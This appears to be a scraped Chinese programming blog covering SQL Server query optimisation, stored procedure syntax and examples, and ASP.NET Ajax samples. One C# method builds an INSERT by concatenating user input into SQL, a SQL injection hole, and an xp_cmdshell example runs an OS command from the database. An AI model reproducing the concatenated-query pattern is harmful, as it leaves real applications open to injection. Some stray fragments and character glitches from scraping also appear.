      如果由于笛卡尔乘积占用的资源可能会很多,而不需要真正的笛卡尔乘积,则可以谨慎地使用 CROSS JOIN。例如,如果对产品和类别执行了 CROSS JOIN,然后使用 WHERE 子句、DISTINCT 或 GROUP BY 来筛选出大多数行,那么使用 INNER JOIN 会获得同样的结果,而且效率高得多。如果需要为所有的可能性都返回数据(例如在您希望使用每月销售日期填充一个图表时),则笛卡尔乘积可能会非常有帮助。但是,您不应该将它们用于其他用途,因为在大多数方案中 INNER JOIN 的效率要高得多。

      拾遗补零

      这里介绍其他一些可帮助提高 SQL 查询效率的常用技术。假设您将按区域对所有销售人员进行分组并将他们的销售额进行小计,但是您只想要那些数据库中标记为处于活动状态的销售人员。您可以按区域对销售人员分组,并使用 HAVING 子句消除那些未处于活动状态的销售人员,也可以在 WHERE 子句中执行此操作。在 WHERE 子句中执行此操作会减少需要分组的行数,所以比在 HAVING 子句中执行此操作效率更高。HAVING 子句中基于行的条件的筛选会强制查询对那些在 WHERE 子句中会被去除的数据进行分组。

      另一个提高效率的技巧是使用 DISTINCT 关键字查找数据行的单独报表,来代替使用 GROUP BY 子句。在这种情况下,使用 DISTINCT 关键字的 SQL 效率更高。请在需要计算聚合函数(SUM、COUNT、MAX 等)的情况下再使用 GROUP BY。另外,如果您的查询总是自己返回一个唯一的行,则不要使用 DISTINCT 关键字。在这种情况下,DISTINCT 关键字只会增加系统开销。

      您已经看到了,有大量技术都可用于优化查询和实现特定的业务规则,技巧就是进行一些尝试,然后比较它们的性能。最重要的是要测试、测试、再测试。

    Figure 2 Returning All Customers and Their Sales

    set nocount on

    DECLARE @dtStartDate DATETIME,

    @dtEndDate DATETIME,

    @dtDate DATETIME

    SET @dtEndDate = '5/5/1997'

    SET @dtEndDate = DATEADD(DD, -1, CAST(CAST((MONTH(@dtEndDate) + 1)

    AS VARCHAR(2)) + '/01/' + CAST(YEAR(@dtEndDate) AS VARCHAR(4)) + '

    23:59:59' AS DATETIME))

    SET @dtStartDate = DATEADD(MM, -1 * 12, @dtEndDate)

    SELECT CAST(YEAR(o.OrderDate) AS VARCHAR(4)) + '-' +

    CASE

    WHEN MONTH(o.OrderDate) < 10

    THEN '0' + CAST(MONTH(o.OrderDate) AS VARCHAR(2))

    ELSE CAST(MONTH(o.OrderDate) AS VARCHAR(2))

    END AS sMonth,

    c.CustomerID,

    c.CompanyName,

    c.ContactName,

    SUM(od.Quantity * od.UnitPrice) AS mSales

    FROM Customers c

    INNER JOIN Orders o ON c.CustomerID = o.CustomerID

    INNER JOIN [Order Details] od ON o.OrderID = od.OrderID

    WHERE o.OrderDate BETWEEN @dtStartDate AND @dtEndDate

    GROUP BY

    CAST(YEAR(o.OrderDate) AS VARCHAR(4)) + '-' +

    CASE

    WHEN MONTH(o.OrderDate) < 10

    THEN '0' + CAST(MONTH(o.OrderDate) AS VARCHAR(2))

    ELSE CAST(MONTH(o.OrderDate) AS VARCHAR(2))

    END,

    c.CustomerID,

    c.CompanyName,

    c.ContactName

    ORDER BY

    c.CompanyName,

    sMonth-------------------------------------------------------------------------------------------------------------------------------------

    Figure 3 Cartesian Product at Work

    DECLARE @tblMonths TABLE (sMonth VARCHAR(7))

    DECLARE @tblCustomers TABLE ( CustomerID CHAR(10),

    CompanyName VARCHAR(50),

    ContactName VARCHAR(50))

    DECLARE @tblFinal TABLE ( sMonth VARCHAR(7),

    CustomerID CHAR(10),

    CompanyName VARCHAR(50),

    ContactName VARCHAR(50),

    mSales MONEY)

    DECLARE @dtStartDate DATETIME,

    @dtEndDate DATETIME,

    @dtDate DATETIME,

    @i INTEGER

    SET @dtEndDate = '5/5/1997'

    SET @dtEndDate = DATEADD(DD, -1, CAST(CAST((MONTH(@dtEndDate) + 1) AS

    VARCHAR(2)) + '/01/' + CAST(YEAR(@dtEndDate) AS VARCHAR(4)) + '

    23:59:59' AS DATETIME))

    SET @dtStartDate = DATEADD(MM, -1 * 12, @dtEndDate)

    — Get all months into the first table

    SET @i = 0

    WHILE (@i < 12)

    BEGIN

    SET @dtDate = DATEADD(mm, -1 * @i, @dtEndDate)

    INSERT INTO @tblMonths SELECT CAST(YEAR(@dtDate) AS VARCHAR(4)) + '-' +

    CASE

    WHEN MONTH(@dtDate) < 10

    THEN '0' + CAST(MONTH(@dtDate) AS VARCHAR(2))

    ELSE CAST(MONTH(@dtDate) AS VARCHAR(2))

    END AS sMonth

    SET @i = @i + 1

    END

    — Get all clients who had sales during that period into the "y" table

    INSERT INTO @tblCustomers

    SELECT DISTINCT

    c.CustomerID,

    c.CompanyName,

    c.ContactName

    FROM Customers c

    INNER JOIN Orders o ON c.CustomerID = o.CustomerID

    WHERE o.OrderDate BETWEEN @dtStartDate AND @dtEndDate

    INSERT INTO @tblFinal

    SELECT m.sMonth,

    c.CustomerID,

    c.CompanyName,

    c.ContactName,

    0

    FROM @tblMonths m CROSS JOIN @tblCustomers c

     

    UPDATE @tblFinal SET

    mSales = mydata.mSales

    FROM @tblFinal f INNER JOIN

    (

    SELECT c.CustomerID,

    CAST(YEAR(o.OrderDate) AS VARCHAR(4)) + '-' +

    CASE WHEN MONTH(o.OrderDate) < 10

    THEN '0' + CAST(MONTH(o.OrderDate) AS VARCHAR(2))

    ELSE CAST(MONTH(o.OrderDate) AS VARCHAR(2))

    END AS sMonth,

    SUM(od.Quantity * od.UnitPrice) AS mSales

    FROM Customers c

    INNER JOIN Orders o ON c.CustomerID = o.CustomerID

    INNER JOIN [Order Details] od ON o.OrderID = od.OrderID

    WHERE o.OrderDate BETWEEN @dtStartDate AND @dtEndDate

    GROUP BY

    c.CustomerID,

    CAST(YEAR(o.OrderDate) AS VARCHAR(4)) + '-' +

    CASE WHEN MONTH(o.OrderDate) < 10

    THEN '0' + CAST(MONTH(o.OrderDate) AS VARCHAR(2))

    ELSE CAST(MONTH(o.OrderDate) AS VARCHAR(2))

    END

    ) mydata on f.CustomerID = mydata.CustomerID AND f.sMonth =

    mydata.sMonth

    SELECT f.sMonth,

    f.CustomerID,

    f.CompanyName,

    f.ContactName,

    f.mSales

    FROM @tblFinal f

    ORDER BY

    f.CompanyName,

    f.sMonth

    SQL Server存储过程

    首先介绍一下什么是存储过程:存储过程就是将常用的或很复杂的工作,预先用SQL语句写好并用一个指定的名称存储起来,并且这样的语句是放在数据库中的,还可以根据条件执行不同SQL语句,那么以后要叫数据库提供与已定义好的存储过程的功能相同的服务时,只需调用execute,即可自动完成命令。

      请大家来了解一下存储过程的语法。

      CREATE PROC [ EDURE ] procedure_name [ ; number ]
    [ { @parameter data_type }
    [ VARYING ] [ = default ] [ OUTPUT ]
    ] [ ,...n ]

      [ WITH
    { RECOMPILE | ENCRYPTION | RECOMPILE , ENCRYPTION } ]

      [ FOR REPLICATION ]

      AS sql_statement [ ...n ]

      参数:

      procedure_name

      新存储过程的名称。过程名必须符合标识符规则,且对于数据库及其所有者必须唯一。

      要创建局部临时过程,可以在 procedure_name 前面加一个编号符 (#procedure_name),要创建全局临时过程,可以在 procedure_name 前面加两个编号符 (##procedure_name)。完整的名称(包括 # 或 ##)不能超过 128 个字符。指定过程所有者的名称是可选的。

      ;number

      是可选的整数,用来对同名的过程分组,以便用一条 DROP PROCEDURE 语句即可将同组的过程一起除去。例如,名为 orders 的应用程序使用的过程可以命名为 orderproc;1、orderproc;2 等。DROP PROCEDURE orderproc 语句将除去整个组。如果名称中包含定界标识符,则数字不应包含在标识符中,只应在 procedure_name 前后使用适当的定界符。

      @parameter

      过程中的参数。在 CREATE PROCEDURE 语句中可以声明一个或多个参数。用户必须在执行过程时提供每个所声明参数的值(除非定义了该参数的默认值)。存储过程最多可以有 2100 个参数。

      使用@符号作为第一个字符来指定参数名称。参数名称必须符合标识符的规则。每个过程的参数仅用于该过程本身;相同的参数名称可以用在其它过程中。默认情况下,参数只能代替常量,而不能用于代替表名、列名或其它数据库对象的名称。

      data_type

      参数的数据类型。所有数据类型(包括 text、ntext 和 image)均可以用作存储过程的参数。不过,cursor 数据类型只能用于 OUTPUT 参数。如果指定的数据类型为 cursor,也必须同时指定 VARYING 和 OUTPUT 关键字。

      说明:对于可以是cursor 数据类型的输出参数,没有最大数目的限制。

    VARYING

      指定作为输出参数支持的结果集(由存储过程动态构造,内容可以变化)。仅适用于游标参数。

      default

      参数的默认值。如果定义了默认值,不必指定该参数的值即可执行过程。默认值必须是常量或 NULL。如果过程将对该参数使用 LIKE 关键字,那么默认值中可以包含通配符(%、_、[] 和 [^])。

      OUTPUT

      表明参数是返回参数。该选项的值可以返回给 EXEC[UTE]。使用 OUTPUT 参数可将信息返回给调用过程。Text、ntext 和 image 参数可用作 OUTPUT 参数。使用 OUTPUT 关键字的输出参数可以是游标占位符。

      n

      表示最多可以指定 2100 个参数的占位符。

      {RECOMPILE | ENCRYPTION | RECOMPILE, ENCRYPTION}
    RECOMPILE 表明 SQL Server 不会缓存该过程的计划,该过程将在运行时重新编译。在使用非典型值或临时值而不希望覆盖缓存在内存中的执行计划时,请使用 RECOMPILE 选项。

      ENCRYPTION 表示 SQL Server 加密 syscomments 表中包含 CREATE PROCEDURE 语句文本的条目。使用 ENCRYPTION 可防止将过程作为 SQL Server 复制的一部分发布。

      说明:在升级过程中,SQL Server 利用存储在 syscomments 中的加密注释来重新创建加密过程。

      FOR REPLICATION

      指定不能在订阅服务器上执行为复制创建的存储过程。.使用 FOR REPLICATION 选项创建的存储过程可用作存储过程筛选,且只能在复制过程中执行。本选项不能和 WITH RECOMPILE 选项一起使用。

      AS

      指定过程要执行的操作。

      sql_statement

      过程中要包含的任意数目和类型的 Transact-SQL 语句。但有一些限制。

      n

      是表示此过程可以包含多条 Transact-SQL 语句的占位符。

      注释

      存储过程的最大大小为 128 MB。

    存储过程的优点都有哪些呢?

      1.存储过程只在创造时进行编译即可,以后每次执行存储过程都不需再重新编译,而我们通常使用的SQL语句每执行一次就编译一次,所以使用存储过程可提高数据库执行速度。

      2.经常会遇到复杂的业务逻辑和对数据库的操作,这个时候就会用SP来封装数据库操作。当对数据库进行复杂操作时(如对多个表进行Update, Insert,Query,Delete时),可将此复杂操作用存储过程封装起来与数据库提供的事务处理结合一起使用。可以极大的提高数据库的使用效率,减少程序的执行时间,这一点在较大数据量的数据库的操作中是非常重要的。在代码上看,SQL语句和程序代码语句的分离,可以提高程序代码的可读性。

      3.存储过程可以设置参数,可以根据传入参数的不同重复使用同一个存储过程,从而高效的提高代码的优化率和可读性。

      4.安全性高,可设定只有某此用户才具有对指定存储过程的使用权存储过程的种类:

      (1)系统存储过程:以sp_开头,用来进行系统的各项设定.取得信息.相关管理工作,如 sp_help就是取得指定对象的相关信息。

      (2)扩展存储过程 以XP_开头,用来调用操作系统提供的功能
    exec master..xp_cmdshell 'ping 10.8.16.1'

      (3)用户自定义的存储过程,这是我们所指的存储过程常用格式

      模版:Create procedure procedue_name [@parameter data_type][output]
    [with]{recompile|encryption} as sql_statement

      解释:output:表示此参数是可传回的

      with {recompile|encryption} recompile:表示每次执行此存储过程时都重新编译一次;encryption:所创建的存储过程的内容会被加密。

    实例1:只返回单一记录集的存储过程。

      表银行存款表(bankMoney)的内容如下

    Id

    userID

    Sex

    Money

    001

    Zhangsan

    30

    002

    Wangwu

    50

    003

    Zhangsan

    40

    要求1:查询表bankMoney的内容的存储过程

    create procedure sp_query_bankMoney
    as
    select * from bankMoney
    go
    exec sp_query_bankMoney

    注* 在使用过程中只需要把中的SQL语句替换为存储过程名,就可以了很方便吧!

      实例2(向存储过程中传递参数):

    加入一笔记录到表bankMoney,并查询此表中userID= Zhangsan的所有存款的总金额。

    Create proc insert_bank @param1 char(10),@param2 varchar(20),@param3 varchar(20),@param4 int,@param5 int output
    with encryption ---------加密
    as
    insert bankMoney (id,userID,sex,Money)
    Values(@param1,@param2,@param3, @param4)
    select @param5=sum(Money) from bankMoney where userID='Zhangsan'
    go
    在SQL Server查询分析器中执行该存储过程的方法是:
    declare @total_price int
    exec insert_bank '004','Zhangsan','男',100,@total_price output
    print '总余额为'+convert(varchar,@total_price)
    go

    在这里再啰嗦一下存储过程的3种传回值(方便正在看这个例子的朋友不用再去查看语法内容):

    1.以Return传回整数
    2.以output格式传回参数
    3.Recordset

    传回值的区别:

    output和return都可在批次程式中用变量接收,而recordset则传回到执行批次的客户端中。

    实例3:使用带有复杂 SELECT 语句的简单过程

      下面的存储过程从四个表的联接中返回所有作者(提供了姓名)、出版的书籍以及出版社。该存储过程不使用任何参数。

      USE pubs
    IF EXISTS (SELECT name FROM sysobjects
    WHERE name = 'au_info_all' AND type = 'P')
    DROP PROCEDURE au_info_all
    GO
    CREATE PROCEDURE au_info_all
    AS
    SELECT au_lname, au_fname, title, pub_name
    FROM authors a INNER JOIN titleauthor ta
    ON a.au_id = ta.au_id INNER JOIN titles t
    ON t.title_id = ta.title_id INNER JOIN publishers p
    ON t.pub_id = p.pub_id
    GO

      au_info_all 存储过程可以通过以下方法执行:

      EXECUTE au_info_all
    -- Or
    EXEC au_info_all

      如果该过程是批处理中的第一条语句,则可使用:

      au_info_all

      实例4:使用带有参数的简单过程

      CREATE PROCEDURE au_info
    @lastname varchar(40),
    @firstname varchar(20)
    AS
    SELECT au_lname, au_fname, title, pub_name
    FROM authors a INNER JOIN titleauthor ta
    ON a.au_id = ta.au_id INNER JOIN titles t
    ON t.title_id = ta.title_id INNER JOIN publishers p
    ON t.pub_id = p.pub_id
    WHERE au_fname = @firstname
    AND au_lname = @lastname
    GO

      au_info 存储过程可以通过以下方法执行:

      EXECUTE au_info 'Dull', 'Ann'
    -- Or
    EXECUTE au_info @lastname = 'Dull', @firstname = 'Ann'
    -- Or
    EXECUTE au_info @firstname = 'Ann', @lastname = 'Dull'
    -- Or
    EXEC au_info 'Dull', 'Ann'
    -- Or
    EXEC au_info @lastname = 'Dull', @firstname = 'Ann'
    -- Or
    EXEC au_info @firstname = 'Ann', @lastname = 'Dull'

      如果该过程是批处理中的第一条语句,则可使用:

      au_info 'Dull', 'Ann'
    -- Or
    au_info @lastname = 'Dull', @firstname = 'Ann'
    -- Or
    au_info @firstname = 'Ann', @lastname = 'Dull'

    实例5:使用带有通配符参数的简单过程

    CREATE PROCEDURE au_info2
    @lastname varchar(30) = 'D%',
    @firstname varchar(18) = '%'
    AS
    SELECT au_lname, au_fname, title, pub_name
    FROM authors a INNER JOIN titleauthor ta
    ON a.au_id = ta.au_id INNER JOIN titles t
    ON t.title_id = ta.title_id INNER JOIN publishers p
    ON t.pub_id = p.pub_id
    WHERE au_fname LIKE @firstname
    AND au_lname LIKE @lastname
    GO

      au_info2 存储过程可以用多种组合执行。下面只列出了部分组合:

      EXECUTE au_info2
    -- Or
    EXECUTE au_info2 'Wh%'
    -- Or
    EXECUTE au_info2 @firstname = 'A%'
    -- Or
    EXECUTE au_info2 '[CK]ars[OE]n'
    -- Or
    EXECUTE au_info2 'Hunter', 'Sheryl'
    -- Or
    EXECUTE au_info2 'H%', 'S%'

      = 'proc2'

    2007/1/4

    Ajax Validate

    <%@ Page Language="C#" AutoEventWireup="true" CodeFile="login.aspx.cs" Inherits="AnsonWebShop.Web.login" %>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml" >
    <head runat="server">
        <title>Untitled Page</title>
        <link href="App_Themes/AnsonWebShop/test.css" type="text/css" rel="stylesheet" />
    </head>
    <body>
        <form id="form1" runat="server">
            <asp:Label ID="Label1" runat="server" Text="User:"></asp:Label>
            <input id="un" type="text" style="width: 150px" runat="server" οnblur="checkEmailAddress(this.value, true);" /><div id="divE"></div><br />
            <asp:Label ID="Label2" runat="server" Text="Pass:"></asp:Label>
            <input id="pw" style="width: 150px" type="password" runat="server" /><br />
            <input id="Button1" style="width: 184px" runat="server" οnclick="loginin()" value="OK" />&nbsp;&nbsp;
            &nbsp;&nbsp;&nbsp;
            <br />
             <input type="button" name="btNext" id="btNext" οnclick="return checkEmailBorad();" value="Next" class="joinbtn" />
            <br />
          <script language="javascript" type="text/javascript">
        function checkEmailAddress(strValue, isCheck)
    {
        var str = strValue.trim();
        var uu = document.getElementById("un");
        var d = document.getElementById("divEmail");
        if(str.length < 1)
     {
      d.innerHTML = "<div class=/"check/">电子邮件地址不能为空</div>";
      return false;
     }
     else
     {
         var reg = /^/w+([-+.]/w+)*@/w+([-.]/w+)*/./w+([-.]/w+)*$/;
         if(checkReg(reg, str))
         {
             if(isCheck)
             {
                 var url = "CEE.aspx";
              var pars = "EMail=" + StrCode(strValue);
              var acheck = new Ajaxcheck.check({success: "divE"}, url, {method: "post", parameters: pars, onLoading: function(){$("divE").innerHTML = "<div class=/"loading/">检测中,请稍后……</div>";}});
          }
          return true;
         }
         else
         {
             d.innerHTML = "<div class=/"checkerror/">电子邮件地址不合法</div>";
          return false;
         }
     }
    }
    function checkEmailBorad()
    {
        if(checkEmailAddress("un", false))
        {
            
        }
        else
        {
            return false;
        }
    }
          </script>
             </form>
    </body>
    </html>
    2007/1/3

    Ajax Tree

    1.建立一个aspx页面
    html代码

    <html xmlns="http://www.w3.org/1999/xhtml" >
    <head id="Head1" runat="server">
    <title>Ajax Tree</title>
    <link type="text/css" href="../../Styles/tree_css/tree.css" rel="stylesheet">
    </head>
    <body>
    <form id="Form1" runat="server">
    <div class="TreeMenu" id="CategoryTree" style="width: 100%; height: 489px">
    </div>
    <script language="javascript" type="text/javascript">
    function el(id)
    {
    return document.getElementById(id);
    }
    function ExpandSubCategory(iCategoryID)
    {
    var li_father = el("li_" + iCategoryID);
    if (li_father.getElementsByTagName("li").length > 0) //分类已下载
    {
    ChangeStatus(iCategoryID);
    return;
    }

    li_father.className = "Opened";

    switchNote(iCategoryID, true);
    AjaxMethod.GetSubCategory(iCategoryID, GetSubCategory_callback);
    }

    function GetSubCategory_callback(response)
    {
    var dt = response.value.Tables[0];
    if (dt.Rows.length > 0)
    {
    var iCategoryID = dt.Rows[0].FatherID;
    }
    var li_father = el("li_" + iCategoryID);
    var ul = document.createElement("ul");
    for (var i = 0;i < dt.Rows.length;i++)
    {
    if (dt.Rows[i].IsChild == 1) //叶子节点
    {
    var li = document.createElement("li");
    li.className = "Child";
    li.id = "li_" + dt.Rows[i].CategoryID;

    var img = document.createElement("img");
    img.id = dt.Rows[i].CategoryID;
    img.className = "s";
    img.src = "../../Styles/tree_css/s.gif";

    var a = document.createElement("a");
    var id = dt.Rows[i].CategoryID;
    a.onmouseover = function()
    {
    PreviewImage(id);
    };
    a.href = "javascript:OpenDocument('" + dt.Rows[i].CategoryID + "');";
    a.innerHTML = dt.Rows[i].CategoryName;
    }
    else
    {
    var li = document.createElement("li");
    li.className = "Closed";
    li.id = "li_" + dt.Rows[i].CategoryID;

    var img = document.createElement("img");
    img.id = dt.Rows[i].CategoryID;
    img.className = "s";
    img.src = "../../Styles/tree_css/s.gif";
    img.onclick = function () {
    ExpandSubCategory(this.id);
    };
    img.alt = "展开/折叠";

    var a = document.createElement("a");
    a.href = "javascript:ExpandSubCategory(" +
    dt.Rows[i].CategoryID + ");";
    a.innerHTML = dt.Rows[i].CategoryName;
    }
    li.appendChild(img);
    li.appendChild(a);
    ul.appendChild(li);
    }
    li_father.appendChild(ul);

    switchNote(iCategoryID, false);
    }

    // 叶子节点的单击响应函数
    function OpenDocument(iCategoryID)
    {
    // 预加载信息
    PreloadFormUrl(iCategoryID);
    }

    function PreviewImage(iCategoryID)
    {

    }

    function ChangeStatus(iCategoryID)
    {
    var li_father = el("li_" + iCategoryID);
    if (li_father.className == "Closed")
    {
    li_father.className = "Opened";
    }
    else
    {
    li_father.className = "Closed";
    }
    }

    function switchNote(iCategoryID, show)
    {
    var li_father = el("li_" + iCategoryID);
    if (show)
    {
    var ul = document.createElement("ul");
    ul.id = "ul_note_" + iCategoryID;

    var note = document.createElement("li");
    note.className = "Child";

    var img = document.createElement("img");
    img.className = "s";
    img.src = "../../Styles/tree_css/s.gif";

    var a = document.createElement("a");
    a.href = "javascript:void(0);";
    a.innerHTML = "请稍候";

    note.appendChild(img);
    note.appendChild(a);
    ul.appendChild(note);
    li_father.appendChild(ul);
    }
    else
    {
    var ul = el("ul_note_" + iCategoryID);
    if (ul)
    {
    li_father.removeChild(ul);
    }
    }
    }

    // 加载根节点
    var tree = el("CategoryTree");
    var root = document.createElement("li");
    root.id = "li_0";
    tree.appendChild(root);

    // 加载页面时显示第一级分类
    ExpandSubCategory(0);

    function PreloadFormUrl(iCategoryID)
    {
    // 采用同步调用的方式获取图片的信息
    var ds = AjaxMethod.GetFormsList(iCategoryID).value;
    // 如果返回了结果
    if (ds)
    {
    // 判断数据表是否不为空
    if (ds.Tables[0].Rows.length > 0)
    {
    // 返回的信息数据表
    dt = ds.Tables[0];
    el("furl").src = dt.Rows[0].FormUrl;
    }
    else // 分类下没有
    {
    }
    }
    }
    </script>
    </form>
    </body>
    </html>



    2.cs代码

    using System;
    using System.Data;
    using System.Configuration;
    using System.Collections;
    using System.Web;
    using System.Web.Security;
    using System.Web.UI;
    using System.Web.UI.WebControls;
    using System.Web.UI.WebControls.WebParts;
    using System.Web.UI.HtmlControls;
    using AjaxPro;

    public partial class Pages_Home_HomePage : System.Web.UI.Page
    {
    protected void Page_Load(object sender, EventArgs e)
    {
    AjaxPro.Utility.RegisterTypeForAjax(typeof(AjaxMethod));
    }
    }


    3.建立一个tree.css的css样式

    a
    {
    text-decoration:none;
    }
    a,a:visited
    {
    color:#000;
    background:inherit;
    }
    body
    {
    margin:0;
    padding:20px;
    font:12px tahoma,宋体,sans-serif;
    }
    dt
    {
    font-size:22px;
    font-weight:bold;
    margin:0 0 0 15px;
    }
    dd
    {
    margin:0 0 0 15px;
    }
    h4
    {
    margin:0;
    padding:0;
    font-size:18px;
    text-align:center;
    }
    p
    {
    margin:0;
    padding:0 0 0 18px;
    }
    p a,p a:visited
    {
    color:#00f;
    background:inherit;
    }

    .TreeMenu img.s
    {
    cursor:hand;
    vertical-align:middle;
    }
    .TreeMenu ul
    {
    padding:0;
    }
    .TreeMenu li
    {
    list-style:none;
    padding:0;
    }
    .Closed ul
    {
    display:none;
    }
    .Child img.s
    {
    background:none;
    cursor:default;
    }

    #CategoryTree ul
    {
    margin:0 0 0 17px;
    }
    #CategoryTree img.s
    {
    width:34px;
    height:18px;
    }
    #CategoryTree .Opened img.s
    {
    background:url(skin3/opened.gif) no-repeat 0 1px;
    }
    #CategoryTree .Closed img.s
    {
    background:url(skin3/closed.gif) no-repeat 0 1px;
    }
    #CategoryTree .Child img.s
    {
    background:url(skin3/child.gif) no-repeat 13px 2px;
    }

    #CategoryTree
    {
    float:left;
    width:249px;
    border:1px solid #99BEEF;
    background:#D2E4FC;
    color:inherit;
    margin:3px;
    padding:3px;
    height:600px;
    }


    4.建立一个类AjaxMethod

    using System;
    using System.Data;
    using System.Data.SqlClient;
    using System.Configuration;
    using System.Web;
    using System.Web.Security;
    using System.Web.UI;
    using System.Web.UI.WebControls;
    using System.Web.UI.WebControls.WebParts;
    using System.Web.UI.HtmlControls;
    using AjaxPro;

    /** <summary>
    /// Summary description for AjaxMethod
    /// </summary>
    public class AjaxMethod
    {
    public AjaxMethod()
    {
    //
    // TODO: Add constructor logic here
    //
    }
    [AjaxMethod(HttpSessionStateRequirement.ReadWrite)]
    public static DataSet GetSubCategory(int iCategoryID)
    {
    string sql = string.Format("SELECT CategoryID, CategoryName, FatherID, dbo.IsLeaf(CategoryID) as IsChild FROM Category WHERE FatherID = {0}", iCategoryID);
    return GetDataSet(sql);
    }

    [AjaxMethod(HttpSessionStateRequirement.ReadWrite)]
    public static DataSet GetFormsList(int iCategoryID)
    {
    string sql = string.Format("SELECT * FROM forms WHERE form_category_id = {0}", iCategoryID);
    return GetDataSet(sql);
    }
    public static string ConnectionString = ConfigurationSettings.AppSettings["ConnectionString"].ToString();

    public static DataSet GetDataSet(string sql)
    {
    SqlDataAdapter sda = new SqlDataAdapter(sql, ConnectionString);
    DataSet ds = new DataSet();
    sda.Fill(ds);
    if (ds != null)
    return ds;
    else
    return null;
    }
    }


    5.sql脚本

    if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[Category]') and OBJECTPROPERTY(id, N'IsUserTable') = 1)
    drop table [dbo].[Category]
    GO

    if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[Forms]') and OBJECTPROPERTY(id, N'IsUserTable') = 1)
    drop table [dbo].[Forms]
    GO

    CREATE TABLE [dbo].[Category] (
    [CategoryID] [int] IDENTITY (1, 1) NOT NULL ,
    [CategoryName] [varchar] (20) COLLATE Chinese_PRC_CI_AS NULL ,
    [FatherID] [int] NULL
    ) ON [PRIMARY]
    GO

    CREATE TABLE [dbo].[Forms] (
    [FormID] [int] IDENTITY (1, 1) NOT NULL ,
    [FormName] [nvarchar] (50) COLLATE Chinese_PRC_CI_AS NULL ,
    [FormUrl] [nvarchar] (50) COLLATE Chinese_PRC_CI_AS NULL ,
    [Form_category_id] [int] NULL ,
    [target] [char] (10) COLLATE Chinese_PRC_CI_AS NULL
    ) ON [PRIMARY]
    GO
    CREATE FUNCTION IsLeaf (@cat_id int)
    RETURNS int AS
    BEGIN

    declare @count int
    select @count = (select count(*) from Category where FatherID=@cat_id)
    if (@count=0)
    return 1
    return 0

    END
    2006/12/26

    Ajax DataGrid

    Ajax 实现DataGrid邦定

    1. 在引用中添加引用Ajax.dll
     
    2.在web.config中建立HttpHandler(这个当然是在system.web串里的)
     
    <httpHandlers>
    <add verb="POST,GET" path="ajax/*.ashx" type="Ajax.PageHandlerFactory, Ajax" />
    </httpHandlers>
     
    3.在Global的Application_Start里加上个设置
     
    protected void Application_Start(Object sender, EventArgs e)
    {
     Ajax.Utility.HandlerPath = "ajax";
    }
     
    4.新建一个类DemoMethods,这个类里面提供了更新数据库和输出列表的方法。其实主要思想就是获得控件运行后生成的html,然后输出
     
    [Ajax.AjaxMethod]
    public int AddAjaxTable(string name)
    {
      //输入一个字符串,然后更新
      SqlConnection conn = new SqlConnection( System.Configuration.ConfigurationSettings.AppSettings["connectionString"] );
      SqlCommand cmd = new SqlCommand("insert into ajaxTable(name) values(’"+name+"’)", conn);
      cmd.Connection.Open();
      int result = cmd.ExecuteNonQuery();
      conn.Dispose();
      cmd.Dispose();
      return result;
     }

     [Ajax.AjaxMethod]
     public string GetAjaxTable()
     {
      //这个方法就是拿到datagrid生成出来的html
      SqlConnection conn = new SqlConnection(System.Configuration.ConfigurationSettings.AppSettings["connectionString"]);
      SqlCommand cmd = new SqlCommand("select * from ajaxTable order by id", conn);
      SqlDataAdapter ap = new SqlDataAdapter( cmd );
      DataSet ds = new DataSet();
      ap.SelectCommand.Connection.Open();
      ap.Fill( ds, "db" );

      conn.Dispose();
      cmd.Dispose();

      //实例化一个datagird类并设置好数据源
      DataGrid dg = new DataGrid();
      dg.DataSource = ds.Tables["db"];1 
        dg.DataBind();

      //实例化一个HtmlTextWriter的类
      System.Text.StringBuilder strb = new System.Text.StringBuilder();
      System.IO.StringWriter sw = new System.IO.StringWriter( strb );
      System.Web.UI.HtmlTextWriter htw = new HtmlTextWriter( sw );

      //执行控件的render并输出到HtmlTextWriter里
      dg.RenderControl( htw );

      string s = strb.ToString();

      return s;//最后就是返回这个html啦
     }
     
    5.然后再建一个default.js文件,用作存放 js方法
     
    function AddAjax(name)
    {
     DemoMethods.AddAjaxTable(name);
     LoadGrid();
    }
    function LoadGrid()
    {
     var cc=document.getElementById("UCtd");
     cc.innerHTML=DemoMethods.GetAjaxTable().value;
    }
      
    6.建一个default.aspx,在pageload事件里面加个注册的东西
     
    private void Page_Load(object sender, System.EventArgs e)
    {
     Ajax.Utility.RegisterTypeForAjax(typeof(AjaxTestPrjLib.DemoMethods));
    }
      
    7.最后就是default.aspx的html和js了。
     
    <%@ Page language="c#" Codebehind="default.aspx.cs" AutoEventWireup="false" Inherits="AjaxTextPrjWeb._default" %>
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
    <HTML>
    <HEAD>
     <title>default</title>
     <meta name="GENERATOR" Content="Microsoft Visual Studio .NET 7.1">
     <meta name="CODE_LANGUAGE" Content="C#">
     <meta name="vs_defaultClientScript" content="JavaScript">
     <meta name="vs_targetSchema" content="
    http://schemas.microsoft.com/intellisense/ie5">
    <script language="javascript" src="default.js"></script>
    </HEAD>
    <body οnlοad="LoadGrid()">
    <form id="Form1" method="post" runat="server">
     <INPUT type="text" id="AddTextBox" maxlength="10"><INPUT type="button" value="添加" οnclick="javascript:AddAjax(form.AddTextBox.value);">
     <table>
      <tr>
       <td id="UCtd"></td>
      </tr>
     </table>
    </form>
    </body>
    </HTML>

    ASP.NET中利用DataGrid的自定义分页功能和存储过程结合实现高效分页

    ASP.NET中利用DataGrid的自定义分页功能和存储过程结合实现高效分页
     
    ASP.Net中的DataGrid有内置分页功能, 但是它的默认的分页方式效率是很低的,特别是在数据量很大的时候,用它内置的分页功能几乎是不可能的事,因为它会把所有的数据从数据库读出来再进行分页, 这种只选取了一小部分而丢掉大部分的方法是不可去取的.
    在最进的一个项目中因为一个管理页面要管理的数据量非常大,所以必须分页显示,并且不能用DataGrid的内置分页功能,于是自己实现分页. 下面介绍一下我在项目中用到的分页方法.
    当然显示控件还是用DataGrid的, 因为数据绑定很方便^_^.
    要保证不传输冗余的数据,那么必须在数据库中数据读取时实现分页, 数据库的分页操作可以放在存储过程中. 看了CSDN的一篇Blog中讲了一个百万级数据分页的存储过程的实现(http://blog.csdn.net/wellknow/posts/55167.aspx,他的这个方法可以根据不同情况进行适当的优化), 根据他的方法,这里实现一个简单的SQL语句来实现这里分页需要的存储过程。
    create procedure ListProduct
    (
